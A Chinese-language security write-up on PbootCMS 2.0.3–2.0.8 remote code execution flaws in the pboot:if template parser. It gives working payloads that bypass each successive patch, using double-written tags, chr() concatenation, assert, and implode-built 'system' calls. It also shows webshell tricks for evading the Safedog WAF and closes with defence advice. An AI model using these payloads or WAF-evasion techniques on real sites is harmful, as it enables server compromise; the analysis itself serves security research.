从PbootCMS审计到某狗绕过
字数 1288 2025-08-15 21:32:26
PbootCMS审计与安全绕过技术分析
1. PbootCMS 2.0.3前台RCE漏洞分析
1.1 漏洞背景
PbootCMS在2.0.3版本中存在前台远程代码执行(RCE)漏洞,源于其模板标签解析功能中不安全的eval使用。
1.2 漏洞位置
- 留言功能:
\app\home\controller\IndexController.php中的addMsg函数 - 标签解析:
\app\home\controller\ParserController.php中的parserIfLabel函数
1.3 漏洞利用步骤
-
留言板插入标签代码:
- 通过留言板插入恶意标签代码
- 绕过过滤使用双写技术:
pbootpboot:if:if - 需要后台管理员将留言内容设置为显示状态
-
解析if标签函数绕过:
- 系统通过正则提取
pboot:if标签内容 - 关键绕过技术:在函数名与括号间插入空格或控制字符(
[\x00-\x20]) - PHP引擎会忽略这些控制字符,但代码仍能执行
- 系统通过正则提取
-
最终payload构造:
- 过滤了
phpinfo和base64_decode - 使用
chr函数拼接绕过:{pboot:if(1)$a=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$a();//)}
- 过滤了
2. PbootCMS 2.0.7前台RCE漏洞
2.1 补丁与绕过
-
新增过滤:
core\basic\Model.php第1255行对SQL语句进行过滤 -
绕过方法:在payload中多加一层
pboot:if{pbootpboot:if:if(1)$a=chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111);$a();//)} -
新增黑名单:
parserIfLabel函数中增加了黑名单但不包含assert -
使用
assert替代eval:{pboot:if(1)assert(chr(112).chr(104).chr(112).chr(105).chr(110).chr(102).chr(111));//)}
3. PbootCMS 2.0.8后台RCE漏洞
3.1 补丁变化
- 留言功能使用递归替换
pboot:if字符串,双写技术失效 parserIfLabel函数正则表达式变更,空格插入技术失效
3.2 新型绕过技术
-
利用白名单函数:
- 白名单函数:
date,in_array,explode,implode - 利用
implode将数组元素拼接成字符串执行
- 白名单函数:
-
可变函数机制:
- PHP可变函数特性:变量名后加圆括号会寻找同名函数执行
- 构造payload:
{pboot:if(1)$a=array('s','y','s','t','e','m');$b=implode('',$a);$b('whoami');//)}
4. WebShell绕过安全狗技术
4.1 可变函数绕过
-
检查函数是否存在:
var_dump(function_exists('system')); // 返回true表示可用 -
直接使用可变函数会被拦截:
$a = 'system'; $a('whoami'); -
使用
implode加工绕过:$a = array('s','y','s','t','e','m'); $b = implode('',$a); $b('whoami');
4.2 控制字符绕过
- 在函数名和圆括号间插入控制字符(
\x00-\x20) - 示例:
system\x0d\x0a('whoami');
5. 防御建议
-
输入验证:
- 对所有用户输入进行严格过滤
- 避免使用黑名单方式,采用白名单更安全
-
代码执行安全:
- 避免直接使用
eval执行动态代码 - 如必须使用,应严格限制可执行的内容
- 避免直接使用
-
安全配置:
- 及时更新CMS到最新版本
- 限制后台管理权限
-
WAF规则:
- 检测非常规函数调用方式
- 监控控制字符的使用
6. 总结
本文详细分析了PbootCMS多个版本中的RCE漏洞及其绕过技术,从最初的简单双写绕过到后期的白名单函数利用,展示了安全攻防的演进过程。同时介绍了如何利用PHP特性绕过WAF防护,为安全研究和防御提供了有价值的参考。